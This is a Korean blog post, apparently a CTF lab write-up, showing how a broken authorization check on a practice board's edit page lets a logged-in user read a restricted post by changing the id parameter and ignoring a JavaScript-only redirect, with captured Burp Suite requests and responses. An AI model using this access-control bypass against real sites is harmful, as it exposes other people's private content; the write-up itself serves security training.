본문 바로가기

old/Cyber Security

웹 해킹 예제: 인증과 인가 취약점_CTF: Read

반응형

목표

직접 가입하고 들어가보세여~!!!

그리고 게시판에 있는 글을 읽기만하면됩니다! 쉽죠?! :)

공격

공격순서

내부 코드 분석

sfUser / sfUser1234 로 로그인한 뒤, 공지사항에 게시글을 확인할려고 하면 할수 없습니다.

글 읽기 요청 코드

GET /auth6/notice_read.php?id=42&view=1 HTTP/1.1
Host: ctf.segfaulthub.com:3481
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: <http://ctf.segfaulthub.com:3481/auth6/notice_list.php>
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=852aa223-3542-4abb-af0a-cb49a2eca40f.j5uZjkkBOrM2FKpIRQa48kTokT8; PHPSESSID=16dn0fdtsjgh25kp3s2tb35271
Connection: close

글 읽기 응답 코드

HTTP/1.1 200 OK
Date: Tue, 20 Jun 2023 22:54:24 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 455
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="./css/style.css"  rel = "stylesheet"/>
    <title>Read Posting</title>
</head>
<body>
    <div class = "column">
        <div class = "posting">
            <script>alert('권한이 없습니다.');</script><script>history.back();</script>

주석으로 숨겨진 코드확인

주석으로 숨겨진 코드나, 자바 스크립트로 연결된 코드가 없으므로, 위 응답은 모두 서버에서 처리되어 읽는게 불가능함을 알수 있습니다. 다른방법을 생각해 봐야 합니다.

글 내용을 볼수 있는 페이지는 읽기 페이지만 있는것이 아닙니다. 글 수정 페이지 에서도 글 내용을 확인할수 있습니다.

우리가 접근하려는 글의 수정페이지로 접근을 시도해봅시다.

글 수정 페이지 주소 찾기

일단 글 수정 페이지의 주소를 찾기 위해 본인이 글을 작성하고, 수정을 눌러서 수정페이지의 코드를 분석합니다.

본인 글 수정 요청 코드

GET /auth6/notice_update.php?id=90 HTTP/1.1
Host: ctf.segfaulthub.com:3481
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: <http://ctf.segfaulthub.com:3481/auth6/notice_read.php?id=90&view=1>
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=852aa223-3542-4abb-af0a-cb49a2eca40f.j5uZjkkBOrM2FKpIRQa48kTokT8; PHPSESSID=16dn0fdtsjgh25kp3s2tb35271
Connection: close

본인 글 수정 응답 코드

HTTP/1.1 200 OK
Date: Tue, 20 Jun 2023 22:57:25 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 968
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="./css/style.css"  rel = "stylesheet"/>
    <title>Free Talking</title>
</head>
<body>
    <div class = "column">
        <form action = "notice_update_process.php" method = "post" enctype="multipart/form-data">
            <div class = "posting">
                <input name = "id" type = "hidden" value = "90"/>
                <input class = "posting_title" name = "update_title" type = "text" value = "test" />
                <textarea class = "posting_contents" name = "update_body">test</textarea>
                <input class = "upload" name = "upload_file" type = "file" accept = "image/png, image/jpeg"/>
                <input class = "writeBtn" type = "submit" value = "update">
            </div>
        </form>
    </div>
</body>
</html>

글 수정 요청 분석

GET /auth6/notice_update.php?id=90 HTTP/1.1

글 수정시 요청은 notice_update.php로 하며, 피라미터로 id를 받아 이것으로 게시글을 판별하는것을 알수 있습니다. 이전 요청 코드를 보면 우리가 보고 싶은 게시글의 id는 42임을 알수 있습니다.

GET /auth6/notice_read.php?id=42&view=1 HTTP/1.1

보고 싶은 게시글 수정 요청

원하는 게시글 요청을 아래와 같이 하여, 주소창에 넣습니다.

<http://ctf.segfaulthub.com:3481/auth6/notice_update.php?id=42>

결과는 권한이 없다며, 게시판으로 리디렉트 됩니다.

하지만, burp suite을 보면 게시글의 status code가 200임을 알수있습니다. 서버에서 리디렉트를 했다면 300번때의 코드가 와야 하므로, 리디렉션이 자바스크립트에서 실행됨을 알수 있습니다.

응답 코드를 살펴보면 내용이 로드된다음 리디렉트 되므로, 게시글을 확인할수 있습니다.

정리

인증과 인가 취약점은 어디에서나 존재하고 앞쪽에서 잘 하였더라도 나중에 잘못한 것으로 인해 인가 취약점이 생김을 알수 있습니다.

반응형